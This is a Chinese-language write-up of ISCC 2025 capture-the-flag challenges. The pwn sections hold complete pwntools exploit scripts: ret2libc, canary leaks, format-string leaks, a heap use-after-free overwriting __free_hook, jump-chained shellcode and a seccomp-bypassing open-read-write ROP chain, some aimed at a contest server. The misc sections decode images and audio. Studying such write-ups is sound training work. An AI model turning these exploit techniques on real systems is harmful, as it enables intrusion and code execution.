Iscc 2025-pwn 部分 wp misc 部分 wp

PWN-call-擂台赛

先patch一下这个程序,换了libc

![image-20250507141627883](../img/Iscc 2025-pwn wp/image-20250507141627883.png)

然后就可以进行分析

![image-20250507141702660](../img/Iscc 2025-pwn wp/image-20250507141702660.png)

看一下保护开没开,发现就一个nx,64位的程序,那就放到ida中进行静态分析

![image-20250507141942923](../img/Iscc 2025-pwn wp/image-20250507141942923.png)

发现了漏洞点,这里有一个栈溢出,然后看一下字符串有没有关于system的一些信息

![image-20250507142047145](../img/Iscc 2025-pwn wp/image-20250507142047145.png)

并没有什么有用的信息,根据题目给了libc文件,那这个题就是正常的打ret2libc

from pwn import *

context.log_level = 'debug'

p = remote("101.200.155.151", 12100)

# p = process("./call")

elf = ELF("./call")
libc = ELF("./libc6_2.31-0ubuntu9.17_amd64.so")

pop_rdi_ret = 0x0000000000401273
pop_rsi_pop_r15_ret = 0x0000000000401271
ret = 0x000000000040101a
main = 0x401157

padding = 0x60+8

payload = b''
payload += b'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(elf.got['write'])
payload += p64(0)
payload += p64(elf.plt['write'])
payload += p64(main)#发送第一个泄露write的payload

p.recvuntil(b'My name is\n')
p.send(payload)

write_addr = u64(p.recvuntil(b'\x7f')[-6:] + b'\x00\x00')#接受write函数的地址
libc.address = write_addr - libc.symbols['write']#计算libc基地址

log.info("write_addr : 0x%x" % write_addr)
log.info("libc_base : 0x%x" % libc.address)

payload = b''
payload += b'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(libc.sym['system'])
payload += p64(main)#发送最终paylaod

p.recvuntil(b'My name is\n')
p.send(payload)

p.interactive()

pwn-manager–擂台赛

checksec看似没有canary,可是在程序中

静态编译的题,一开始看是个图书管理系统以为是一个堆题,分析后发现没有malloc函数,那就是一个栈类型的题

![image-20250509201253592](../img/Iscc 2025-pwn wp/image-20250509201253592.png)

在ubuntu系统下运行程序,发现有9个功能,那就对应了9个函数,慢慢分析代码

要先逆向结构体,emmmmm,pwn逆向

记录一下还原结构体的过程,进入add函数

![image-20250602145742965](../img/Iscc 2025-pwn wp/image-20250602145742965.png)

在下面的输入中title,author,pushlisher中初步判断是这个结构体是有三个数组的

struct book_buf{
char title[50];
char author[40];
char publisher[30];
}

那这就是整个结构体了吗?再仔细观察一下,会发现把title,author,publisher写入的长度,也赋值给了v31,v32,v33

也就是这个结构体中存入了每个信息的长度

在v31赋值时read读入时从v30+4开始的,也就是说前面的4个字节也有存储,在前面的

LODWORD(v30[0]) = *(_DWORD *)(book_buf + 152000) + 1;

对v30[0]的第4位进行赋值,通过其他的函数可以知道这个实际就是book_id

在search这个函数中,输入2,进入author搜索功能

![image-20250604193441124](../img/Iscc 2025-pwn wp/image-20250604193441124.png)

在这里有一个循环,i<*(a1+152000)这个条件和上面的还原结构体是有异曲同工,这里也是一个结构体

大小是152000,在下面的if语句是一个判断,比较输入的v15和存在结构体中的author字段,正好对应上了上面结构体的author字段

每152字节是进行一次判断,也就是0x98,也就是说上面的book_buf结构体一个大小是0x98,而book_list这个结构体是152000,是1000个152

book_list{
char book_buf[1000];
int64 id_count;
}

? id_count哪里来的?再回到i<*(a1+152000),i进行判断是取的a1的152000处的偏移地址,跟据这个函数功能可以知道这个是存放多少本书籍,前面的0-151999是存放的书籍内容

那这样也得到了book_buf结构体

struct book_buf
{
int id;
char title[50];
__int64 title_length;
char author[40];
__int64 author_length;
char publish[30];
__int64 pubilsher_length;
};

![image-20250604200358822](../img/Iscc 2025-pwn wp/image-20250604200358822.png)

但是这里有一个小问题,因为author是要再0x40处,而前面经过分析输入之后发现少了两个字节,还有什么是没分析到的吗?代码对这两个字节也没有用到,那就用padding占位

![image-20250604200636658](../img/Iscc 2025-pwn wp/image-20250604200636658.png)

到这里这个题的还原结构体就结束了

找漏洞

在search函数中的自定义函数

![image-20250604201647897](../img/Iscc 2025-pwn wp/image-20250604201647897.png)

![image-20250604201709113](../img/Iscc 2025-pwn wp/image-20250604201709113.png)

*(a1 + read(0LL, a1, a2)) = 10

这个会在输入结尾添加回车符,因为read函数读取成功会返回读取的字节,那么就可以写入40个字节,然后就会有一字节溢出

这样的话就可以进行canary的泄露

pwn—genius–练武区域赛

栈溢出+canary 通过一字节泄露canary,因为printf(%s)是遇到/x00结束输出,把canary的第一个字节/x00覆盖掉,就会把canary输出

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

p = process('./pwn')

p.sendlineafter('yes or no?',b'no')
p.sendlineafter('so modest.',b'thanks')
payload1 = b'u'*23+b'ac'
# gdb.attach(p)
p.sendafter('in init',payload1)
p.recvuntil(b'a')
canary = u64(p.recv(8))-ord('c')
log.success(hex(canary))
payload = b'a'*24 + p64(canary)+p64(0) + p64(0x4011A7)
# gdb.attach(p)
p.sendlineafter('thank you',payload)

p.interactive()

pwn-program–练武区域赛

先patch一下

patchelf --set-interpretre [ld] ./pwn

patchelf --replace-needed libc.so.6 [libc.so.6] ./pwn

这个题是2.31的堆题,可以打free_hook,重点也就是泄露libc,代码比较简单,正常的菜单题,有两个漏洞

一个是uaf,再free之后没有给指针置0

![image-20250510132348823](../img/Iscc 2025-pwn wp/image-20250510132348823.png)

还有一个堆溢出漏洞

![image-20250510132417625](../img/Iscc 2025-pwn wp/image-20250510132417625.png)

read参数是我们可以写的,比较明显的漏洞

先用uaf泄露一下libc地址,然后再利用堆溢出挂system

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

p = process('./pwn')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')


def add(index,size):
p.sendafter('choice:',b'1')
p.sendafter('index:',str(index))
p.sendafter('size:',str(size))

def dele(index):
p.sendafter('choice:',b'2')
p.sendafter('index:',str(index))

def edit(index,len,text):
p.sendafter('choice:',b'3')
p.sendafter('index:',str(index))
p.sendafter('length:',str(len))
p.sendafter('content:',text)
def show(index):
p.sendafter('choice:',b'4')
p.sendafter('index:',str(index))

add(0,0x500)
add(1,0x30)
add(2,0x30)
add(3,0x30)
# gdb.attach(p)
dele(0)
show(0)
p.recvuntil('\n')
libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x1ecbe0
#0x7ffff7dd5000
log.success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base+libc.sym['system']
log.success(hex(free_hook))
log.success(hex(sys))

# gdb.attach(p, "b *0x401541")
dele(3)
dele(2)
payload = b'a'*0x30+p64(0)+p64(0x41)+p64(free_hook)
edit(1,0x200,payload)
add(4,0x30)
add(5,0x30)

edit(5,0x200,p64(sys))
edit(1,0x200,b'/bin/sh\x00')

dele(1)

p.interactive()

mini pwn–擂台赛

init

![image-20250511200935766](../img/Iscc 2025-pwn wp/image-20250511200935766.png)

这里定义了主要会用到的寄存器xmmword的三个,然后定义128位结构的qword_40b0可能分为高低位使用

![image-20250510191630122](../img/Iscc 2025-pwn wp/image-20250510191630122.png)

创建了一块可读可写的内存页,然后赋值为0

将0x3000的内存页分为3个0x1000的内存页,把0x1000处的指针放到了qword_4070处,0x2000处的指针放到了qword_4060

然后第一次read读入到第二个块(buf+0x1000),第二次read读入到第一块中(buf)

然后就调用pro函数

这个函数,是vm的主要函数

看一下case1,这个主要实现了往寄存器传参,根据给定的switch-case语句可以选择寄存器,利用buf中输入的第一个字节确定是case1,然后再根据第二个字节选择是case1下的case几,要想给寄存器值要先控制40b0,相当于pop

现在能分析是寄存器传参,利用需要继续往下

![image-20250511212705580](../img/Iscc 2025-pwn wp/image-20250511212705580.png)

case2

把寄存器xmm0中的值放到了40b0-8的中,相当去push,把寄存器中的数据放到内存中,但是现在还不知道40b0是不是栈空间(

![image-20250511212720513](../img/Iscc 2025-pwn wp/image-20250511212720513.png)

case3

把寄存器当前的存储值放到v9(40b0)数组中

![image-20250511212734119](../img/Iscc 2025-pwn wp/image-20250511212734119.png)

case4

会先对40c0进行判断,为0才能运行,而在3中给40c0赋值0,然后又把存储到v9中的数据返回到对应寄存器

![image-20250517155245559](../img/Iscc 2025-pwn wp/image-20250517155245559.png)

case5

会先判断40c0的值是否为0也就是说,有没有经过case3,然后调用syscall

![image-20250517155912070](../img/Iscc 2025-pwn wp/image-20250517155912070.png)

case6

这个是给寄存器置0

![image-20250517160108359](../img/Iscc 2025-pwn wp/image-20250517160108359.png)

case7是给寄存器+8,case8是给寄存器-8

那这个题应该是利用syscall调用exevce函数,通过给寄存器赋值

在调用case3的时候,输入了一个0x40501060006

![image-20250517173254431](../img/Iscc 2025-pwn wp/image-20250517173254431.png)

0x0006清空r0 0x0106 清空r1 0x05调用syscall 0x4 回复寄存器情况,也就是说只有调用case3才能调用case5,那就没办法随便利用case5,看看能不能把40c0设置为0

因为r0是0对应是系统调用号是read函数,也就是调用了read(0,r2,r3),在r2中写入40c0的地址,然后写入0

也就可以随意调用syscall

在case4中可以看到寄存器的值都存放在了0x7ffff7fbafb8这个大段中,减去0xfc0是0x7ffff7fba000这个就是基址了,而4060的偏移是1f8,那只要read在这里写入0就可以了

![image-20250517210921746](../img/Iscc 2025-pwn wp/image-20250517210921746.png)

````

















### pwn-mutsumi--练武区块赛

先老规矩走一遍

![image-20250513191726599](../img/Iscc 2025-pwn wp/image-20250513191726599.png)

发到ida中分析分析,一堆比较函数,对输入的数据用逗号进行分割,然后进行判断对v12进行赋值0,1,2,3,所以的赋值操作都是在堆上进行的,也就杜绝了栈溢出(

但是在存储vm指令的chunk之前有一个chunk,可以进行堆溢出,而这个vm块就是存储指令的堆块

![image-20250515173926710](../img/Iscc 2025-pwn wp/image-20250515173926710.png)

![image-20250515201829896](../img/Iscc 2025-pwn wp/image-20250515201829896.png)

在调试的时候发现,run_vm实际上是在申请的vm块(有执行权限的)上执行,那也就能打shellcode

![image-20250515201943001](../img/Iscc 2025-pwn wp/image-20250515201943001.png)

而这个vm一开始的堆块中存入了这条命令

![image-20250515203105182](../img/Iscc 2025-pwn wp/image-20250515203105182.png)

具体就是上面的参数,0x48是启动64位模式,0x31是xor的操作码,0xD2二进制是11010010,11是寄存器直接调用,第一个010是reg操作编号(源寄存器)rdx,第二个010是r/m的目标操作寄存器rdx

v12的低32位是1的话

然后下面的代码逻辑就是通过判断v12的高32位,就会jmp到对应寄存器

![image-20250515211103486](../img/Iscc 2025-pwn wp/image-20250515211103486.png)

如果v12的低32位是0的话,就会执行imm函数,对v12的高12位操作

在imm函数中

![image-20250515211318123](../img/Iscc 2025-pwn wp/image-20250515211318123.png)

a1>0xff是会进行短跳a1,小于会进行近跳a1

分析之后就要进行整理,v12的前8位字节会进行saki的判断,v12的后8位字节中在低4个字节是判断执行寄存器跳转还是执行imm函数中的跳转 1,高4位字节决定跳转内个寄存器,在imm中就是执行e9还是eb 2

格式:v12=‘saki’+0000(2)+0000(1)

然后把内容都memcpy到vm段中后面调用run_vm函数执行

那就要想办法写shellocode,在main函数中申请vm块后就没有对它进行写入,只有在mu函数中再次写入了,前面提到了堆溢出,可以覆盖到vm

但是在main函数中还有一个计数器,记下了main中循环次数

![image-20250515220209209](../img/Iscc 2025-pwn wp/image-20250515220209209.png)

而这个参数又是vm+8的位置,也时mu函数中执行的次数

![image-20250515220311638](../img/Iscc 2025-pwn wp/image-20250515220311638.png)



![image-20250515220335188](../img/Iscc 2025-pwn wp/image-20250515220335188.png)

那要想写入shellcode执行,main函数就要对应循环多少

那就要先写好对应的shellcode才能确定循环次数,因为在mu函数中是0x10个字节一次循环,所以要//0x10

我先写了一个payload调试一下

![image-20250516173903410](../img/Iscc 2025-pwn wp/image-20250516173903410.png)

![image-20250516173937872](../img/Iscc 2025-pwn wp/image-20250516173937872.png)

可以对应一下更好理解0是模式,1是参数

![image-20250516195522215](../img/Iscc 2025-pwn wp/image-20250516195522215.png)

第一次尝试输入shellcode

![image-20250516195823894](../img/Iscc 2025-pwn wp/image-20250516195823894.png)

发现并没有把我输入的mov指令解析出来,这是因为指令执行是顺序解析字节流,现在字节流是e9 bo 68 90 90

那要想把e9给去掉的话,就要利用短跳eb,把字节流执行为eb 1 e9 b0 68 ,会先执行eb 1,然后因为指令2字节+偏移1字节,会跳转到

第3个指令的地方,eb 1,是1。 e9是2,b0是3,那就会解析b0 68,为mov

结合下图理解

![image-20250516202240284](../img/Iscc 2025-pwn wp/image-20250516202240284.png)

![image-20250516202423622](../img/Iscc 2025-pwn wp/image-20250516202423622.png)

成功执行,那这样就可以写shellcode

本来想写一个正常的shellcode,但是一想因为都是4字节,所以/bin/sh不好写,

```
0x68732f2f6e69622f /bin/sh
```

要存到一个寄存器了

from pwn import *

context(arch=’amd64’, os=’linux’, log_level=’debug’)

p = process(‘./pwn’)

gdb.attach(p)

p.recvuntil(‘her’)

p.sendline(b’saki,ido’)

p.sendline(b’1’)

def masm(a1):
code = asm(a1).ljust(4,b’\x90’)
payload = p64(0x114900)+p32(0)+p32(1)
payload += p64(0x114900)+p32(0)+code
return payload

#0x68732f2f6e69622f
#mov al,0x68,shl rax,0x10,mov ax ,0x2f2f,shl rax 0x10,mov ax 0x6e69 ,shl rax 0x10,mov ax 0x622f,shl 0x10 将/bin/sh写入rax

payload = b’saki,stop’
payload = payload.ljust(0x20,b’a’)+p64(0)+p64(0x1011)
payload += masm(‘mov al,0x68’)+masm(‘shl rax,0x10’)+masm(‘mov ax ,0x732f’)+masm(‘shl rax,0x10’)
payload += masm(‘mov ax,0x6e69’)+masm(‘shl rax,0x10’)+masm(‘mov ax,0x622f’)
payload += masm(‘push rax’)+masm(‘xor rax,rax’)+masm(‘mov rdi,rsp’)+masm(‘mov al,0x3b’)+masm(‘syscall’)

payload_len = (len(payload)-0x30)//0x10
log.success(payload_len)
for i in range(payload_len):
p.sendline(b’saki,ido’)
p.sendline(b’1’)
gdb.attach(p)
p.sendline(payload)

p.interactive()


### pwn-fufu--练武区块赛

![image-20250513192400244](../img/Iscc 2025-pwn wp/image-20250513192400244.png)

还是先检查一下有没有开保护,发现有canary,pie

放到ida里分析一下

![image-20250513192837795](../img/Iscc 2025-pwn wp/image-20250513192837795.png)

在选择1的时候会有一个格式化字符串漏洞可以用来泄露,因为这个题没有给libc,加上pie,要泄露的东西就有三个canary,pie-base,libcbase

![image-20250513193338730](../img/Iscc 2025-pwn wp/image-20250513193338730.png)

在2函数中存在栈溢出漏洞,那么只要泄露完打libc就可以了,不过这个题想知道libc需要先打远程泄露libc(

![image-20250513195814874](../img/Iscc 2025-pwn wp/image-20250513195814874.png)

这里打远程获得puts的地址,进而得到libc版本

![image-20250513203722228](../img/Iscc 2025-pwn wp/image-20250513203722228.png)

然后就正常打

```
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

elf = ELF('./pwn')
# p = process('./pwn')
p = remote('101.200.155.151', 12600)
printf_p = elf.plt['puts']
printf_g = elf.got['puts']

p.sendlineafter('Furina: Your choice? >>',str(1))
# gdb.attach(p)
p.sendlineafter('limited! >>',str(6))
# gdb.attach(p)
p.sendlineafter('evidence! >>','%17$p')#canary 17 base 19 libc 23
canary = int(p.recvuntil('\n')[-17:],16)
log.success(hex(canary))
p.sendlineafter('chicken! >>',b'u')

p.sendlineafter('Furina: Your choice? >>',str(1))
# gdb.attach(p)
p.sendlineafter('limited! >>',str(6))
# gdb.attach(p)
p.sendlineafter('evidence! >>','%19$p')#canary 17 base 19 libc 23
elf_base = int(p.recvuntil('\n')[:],16)-0x13d6
log.success(hex(elf_base))
p.sendlineafter('chicken! >>',b'u')

p.sendlineafter('Furina: Your choice? >>',str(1))
# gdb.attach(p)
p.sendlineafter('limited! >>',str(6))
# gdb.attach(p)
p.sendlineafter('evidence! >>','%23$p')#canary 17 base 19 libc 23
libc_base = int(p.recvuntil('\n')[:],16)-0x29d90
log.success(hex(libc_base))
p.sendlineafter('chicken! >>',b'u')

rdi = elf_base+0x132f
ret = elf_base+0x101a
printf_plt = elf_base +printf_p
printf_got = elf_base +printf_g
# p.sendlineafter('Furina: Your choice? >>',str(2))
# payload = b'a'*0x48+p64(canary)+p64(0)+p64(ret)+p64(rdi)+p64(printf_got)+p64(printf_plt)
# # gdb.attach(p)
# p.sendlineafter('Furina: The trial is adjourned',payload)
# p.recvuntil('\n')
# puts = u64(p.recvuntil('\n')[-7:-1].ljust(8,b'\x00'))
# log.success(hex(puts))

system = libc_base+0x050d70
binsh = libc_base+0x1d8678

p.sendlineafter('Furina: Your choice? >>',str(2))
payload = b'a'*0x48+p64(canary)+p64(0)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
# gdb.attach(p)
p.sendlineafter('Furina: The trial is adjourned',payload)





p.interactive()

```



### pwn-Dilemma

先检查一下保护

![image-20250516212403023](../img/Iscc 2025-pwn wp/image-20250516212403023.png)

发现有canary

放到ida中看一下反汇编

![image-20250517101843906](../img/Iscc 2025-pwn wp/image-20250517101843906.png)

在init函数中发现有沙盒

![image-20250517102621123](../img/Iscc 2025-pwn wp/image-20250517102621123.png)

把execve给禁用了,这个程序中有格式化字符串,还有栈溢出,直接打orw

```
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
# p = process('./pwn')
p = remote('101.200.155.151',12500)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# main =
p.sendlineafter('go?\n',b'1')
# gdb.attach(p)
payload = b'+%11$p-%19$p=%12$p'
p.sendlineafter('password:',payload)
#canary 11 ,libc 19
p.recvuntil('+0x')
canary = int(p.recv(16),16)
log.success(hex(canary))
p.recvuntil('-0x')
libc_base = int(p.recv(12),16)-0x29d90
log.success(hex(libc_base))
p.recvuntil('=0x')
stack_addr = int(p.recv(12),16)-0x50
log.success(hex(stack_addr))
p.sendlineafter('your password:\n',b'1111')


p.sendlineafter('go?\n',b'2')


open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
write_addr = libc_base+libc.sym['write']
rdx_rbx_ret =libc_base+0x904a9
rdi_ret = 0x40119a
rsi_r15_ret = 0x40119c


# open read write
payload = b'a'*0x20+b'flag.txt'
payload += p64(canary)+p64(0)
payload += p64(rdi_ret)+p64(stack_addr+0x20)+p64(rsi_r15_ret)+p64(0)+p64(0)+p64(open_addr)
payload += p64(rdi_ret)+p64(3)+p64(rsi_r15_ret)+p64(stack_addr+0x20)+p64(0)+p64(rdx_rbx_ret)+p64(0x30)+p64(0)+p64(read_addr)
payload += p64(rdi_ret)+p64(1)+p64(rsi_r15_ret)+p64(stack_addr+0x20)+p64(0)+p64(rdx_rbx_ret)+p64(0x30)+p64(0)+p64(write_addr)

# gdb.attach(p)
p.sendafter('about\n',payload)



p.interactive()
```





### misc

#### 取证分析

内存取证使用vol3,先scan一下有没有异常文件

![image-20250511134302115](../img/Iscc 2025-pwn wp/image-20250511134302115.png)

把这个hahaha.zip下载下来

![image-20250511134329242](../img/Iscc 2025-pwn wp/image-20250511134329242.png)

![image-20250511134508623](../img/Iscc 2025-pwn wp/image-20250511134508623.png)

解压发现有密码,爆破一下

口令是:bfs775

![image-20250511135926132](../img/Iscc 2025-pwn wp/image-20250511135926132.png)

有三个文件,每个都看一下,

![image-20250511140324311](../img/Iscc 2025-pwn wp/image-20250511140324311.png)

![image-20250511140330682](../img/Iscc 2025-pwn wp/image-20250511140330682.png)

![image-20250511140337930](../img/Iscc 2025-pwn wp/image-20250511140337930.png)

比较明显的是hint.txt,应该是凯撒加密,

![image-20250511140544746](../img/Iscc 2025-pwn wp/image-20250511140544746.png)

发现一个flag里面是维吉尼亚密码

然后没有别的线索了,先下载附件是一个docx文件,放到010中发现

![image-20250511141037776](../img/Iscc 2025-pwn wp/image-20250511141037776.png)

这应该是zip压缩包的文件头

![image-20250511141242097](../img/Iscc 2025-pwn wp/image-20250511141242097.png)

修改之后发现xml文件,打开找到密文

![](../img/Iscc 2025-pwn wp/image-20250511141224169.png)

前面提示了是维吉尼亚密码,那就需要密钥,需要计算杨辉三角

需要根据坐标得到对应数,组合数公式(n-1,k-1)进行计算

然后因为是维吉尼亚密钥就要/26找对应字母,最后解密

![image-20250511143804770](../img/Iscc 2025-pwn wp/image-20250511143804770.png)

得到的用iscc包裹起来

#### 签个到吧

解压后得到一个二维码,和一个压缩包,扫了一下二维码发现。。。。,压缩包打不开应该是损坏了,所以还要修一下

![image-20250514200732689](../img/Iscc 2025-pwn wp/image-20250514200732689.png)

把文件放到010中看一下

![image-20250514200900305](../img/Iscc 2025-pwn wp/image-20250514200900305.png)

80应该给成50,再打开就有一张二维码?

![image-20250514201004493](../img/Iscc 2025-pwn wp/image-20250514201004493.png)

![image-20250514201252691](../img/Iscc 2025-pwn wp/image-20250514201252691.png)

看着像是猫脸变化

```
import cv2
import numpy as np

def arnold_encode(image, shuffle_times, a, b):
h, w = image.shape[0], image.shape[1]
N = h
arnold_image = np.zeros(shape=image.shape, dtype=image.dtype)

for _ in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):

new_x = (1 * ori_x + b * ori_y) % N
new_y = (a * ori_x + (a*b + 1) * ori_y) % N
arnold_image[new_x, new_y, :] = image[ori_x, ori_y, :]
image = arnold_image.copy()

cv2.imwrite('flag_arnold_encode.png', arnold_image)
return arnold_image

def arnold_decode(image, shuffle_times, a, b):
h, w = image.shape[0], image.shape[1]
N = h
decode_image = np.zeros(shape=image.shape, dtype=image.dtype)

for _ in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
new_x = ((a*b + 1) * ori_x + (-b) * ori_y) % N
new_y = ((-a) * ori_x + 1 * ori_y) % N
decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
image = decode_image.copy()
cv2.imwrite('flag.png', decode_image)
return decode_image
if __name__ == "__main__":
img = cv2.imread("./0001_48.png")
arnold_decode(img, shuffle_times=1, a=1, b=-2)
```



![image-20250514204121697](../img/Iscc 2025-pwn wp/image-20250514204121697.png)

得到一个这样的图片,将他逆时针旋转90度,然后反色,和flag_is_not_here进行异或,就得到了flag

![image-20250514204807490](../img/Iscc 2025-pwn wp/image-20250514204807490.png)

![image-20250514204813472](../img/Iscc 2025-pwn wp/image-20250514204813472.png)

![image-20250514204819294](../img/Iscc 2025-pwn wp/image-20250514204819294.png)







#### 睡美人

通过foremost分离,得到zip压缩包,里面有一个音频文件,可是没有密码

![image-20250514211244173](../img/Iscc 2025-pwn wp/image-20250514211244173.png)



![image-20250514211258061](../img/Iscc 2025-pwn wp/image-20250514211258061.png)



![image-20250514211353397](../img/Iscc 2025-pwn wp/image-20250514211353397.png)





给你提示,色彩秘方是RGB,后面的红红....应该是比例数

通过exp得到加权数就是密码

from PIL import Image
from tqdm import tqdm

打开图片并转换为RGB模式

img = Image.open(“Sleeping_Beauty_18.png”).convert(“RGB”)

初始化颜色值的总和

sumR, sumG, sumB = 0, 0, 0

使用更高效的方式遍历像素

pixels = img.getdata()
for r, g, b in tqdm(pixels, total=img.width * img.height, desc=”Processing pixels”):
sumR += r
sumG += g
sumB += b

计算加权和并打印结果(保持原逻辑)

weighted_sum = sumR * 0.6 + sumG * 0.3 + sumB * 0.1
print(f”加权和: {weighted_sum}”)


![image-20250514212444142](../img/Iscc 2025-pwn wp/image-20250514212444142.png)

得到音频文件,提取隐藏的二进制信息

import scipy.io.wavfile as wavfile
import numpy as np
from typing import Tuple, Optional

def load_audio_mono(filename: str) -> Optional[Tuple[int, np.ndarray]]:
“””加载音频文件并返回单声道信号”””
try:
rate, data = wavfile.read(filename)
return rate, data[:, 0] if data.ndim == 2 else data
except FileNotFoundError:
print(f”错误:文件 ‘{filename}’ 未找到。”)
except Exception as e:
print(f”读取 WAV 文件时发生错误: {e}”)
return None

def validate_segment_boundaries(signal_len: int, start: int, segment_size: int) -> bool:
“””验证音频分段边界是否有效”””
if start + segment_size > signal_len:
print(“错误:开始时间太靠后,或音频文件太短,无法处理至少一个分段。”)
return False
return True

def analyze_segment(samples: np.ndarray, threshold: int = 0) -> Optional[str]:
“””分析单个音频分段并返回解码结果”””
binary = (samples > threshold).astype(int)

if np.all(binary == 1):
    return '0'
if np.any(np.diff(binary) == -1):
    return '1'
return None

def decode_audio_segments(
signal: np.ndarray,
sample_rate: int,
start_time: float,
segment_duration: float
) -> str:
“””主解码流程”””
start_sample = int(start_time * sample_rate)
samples_per_segment = int(segment_duration * sample_rate)

if not validate_segment_boundaries(len(signal), start_sample, samples_per_segment):
    return ""

decoded = []
total_segments = (len(signal) - start_sample) // samples_per_segment

print(f"采样率: {sample_rate} Hz")
print(f"每个分段的采样点数: {samples_per_segment}")
print(f"从采样点 {start_sample} 开始处理")

for seg_idx in range(total_segments):
    start = start_sample + seg_idx * samples_per_segment
    end = start + samples_per_segment
    segment = signal[start:end]
    
    if (bit := analyze_segment(segment)) is not None:
        decoded.append(bit)

print(f"共处理了 {total_segments} 个分段。")
return ''.join(decoded)

def non_standard_manchester_decode(
filename: str = “normal_speech_18.wav”,
start_sec: float = 6.0,
duration_sec: float = 0.1
) -> str:
“””主入口函数”””
if (result := load_audio_mono(filename)) is None:
return “”

sample_rate, audio_data = result
return decode_audio_segments(
    audio_data,
    sample_rate,
    start_sec,
    duration_sec
)

if name == “main“:
decoded = non_standard_manchester_decode()
if decoded:
print(“\n解码后的序列:”)
print(decoded)


然后二进制转字符串得到的用iscc包裹

![image-20250515163911369](../img/Iscc 2025-pwn  wp/image-20250515163911369.png)

![image-20250515163935016](../img/Iscc 2025-pwn  wp/image-20250515163935016.png)

####